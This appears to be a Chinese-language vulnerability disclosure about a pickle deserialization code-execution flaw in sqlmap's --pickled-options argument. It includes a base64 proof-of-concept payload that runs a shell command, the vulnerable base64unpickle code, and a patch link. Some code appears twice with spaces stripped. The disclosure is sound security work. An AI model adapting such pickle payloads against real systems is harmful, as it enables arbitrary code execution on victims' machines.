于2015年01月27日, 我在阅读最新版本Sqlmap代码时,发现其存在代码执行问题。安全问题由python的pickle导致。
pickle 模块实现了一个基础而强劲的算法,用于序列化和反序列化Python对象结构,常用于跨平台及网络应用。在进行反序列化操作时,pickle会执行精心构造的python代码。
测试数据:
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
python sqlmap.py--pickled-options"Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
测试结果:
存在代码执行问题的代码文件如下:
以 /path/to/sqlmap/lib/core/convert.py 文件中的 base64unpickle 函数为例,进行说明。经过分析,我们可以清晰了解,恶意数据可通过参数 --pickled-options 传入 S qlmap ,流程如下:
恶意数据通过参数 --pickled-options 传入 base64unpickle ,函数解码数据时, 执行 Python 代码。
59 def base64unpickle(value): 60 """ 61 Decodes value from Base64 to plain format and deserializes (with pickle) its content 62 63 >>> base64unpickle('gAJVBmZvb2JhcnEALg==') 64 'foobar' 65 """ 66 67 retVal = None 68 69 try: 70 retVal = pickle.loads(base64decode(value)) 71 except TypeError: 72 retVal = pickle.loads(base64decode(bytes(value))) 73 74 return retVal
59defbase64unpickle(value): 60""" 61 Decodes value from Base64 to plain format and deserializes (with pickle) its content 62 63 >>> base64unpickle('gAJVBmZvb2JhcnEALg==') 64 'foobar' 65 """ 66 67retVal=None 68 69try: 70retVal=pickle.loads(base64decode(value)) 71exceptTypeError: 72retVal=pickle.loads(base64decode(bytes(value))) 73 74returnretVal
pickle 漏洞触发演示:
更新到 Sqlmap 最新版,相关补丁 commit 信息:
https://github.com/sqlmapproject/sqlmap/commit/31d250f98e087585dad3af58ff00ca90d143676
《Sqlmap Code Execution Vulnerability》